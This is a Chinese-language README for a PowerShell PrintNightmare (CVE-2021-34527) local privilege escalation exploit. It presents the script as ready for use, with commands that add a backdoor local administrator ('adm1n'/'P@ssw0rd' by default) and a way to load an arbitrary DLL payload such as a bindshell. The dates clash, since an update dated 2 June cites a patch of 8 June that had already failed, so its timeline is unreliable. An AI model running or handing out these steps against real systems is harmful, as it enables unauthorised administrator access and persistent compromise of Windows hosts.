Caleb Stewart | John Hammond | 2021年6月1日
2021年6月2日更新:Microsoft已发布关于CVE-2021-34527的公告,正确定义该特定标识符为PrintNightmare漏洞利用。此前,社区一直认为CVE-2021-1675“就是PrintNightmare”,因为6月8日的补丁并未解决此问题。该仓库与原仓库相同,只是CVE名称不同。
CVE-2021-34527是一个关键的远程代码执行和本地权限提升漏洞,被称为“PrintNightmare”。
针对远程代码执行能力的概念验证漏洞利用程序已发布(Python、C++),以及用于本地权限提升的C#改编版。我们尚未看到纯PowerShell的原生实现,因此希望尝试改进并重制该漏洞利用程序。
此PowerShell脚本利用PrintNightmare攻击技术执行本地权限提升(LPE)。

该脚本已在Windows Server 2016和Windows Server 2019上测试通过。
默认情况下,向本地管理员组添加一个新用户:
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare # 默认向本地管理员组添加用户 `adm1n`/`P@ssw0rd`
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
提供自定义DLL负载,以实现其他任何所需功能。
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"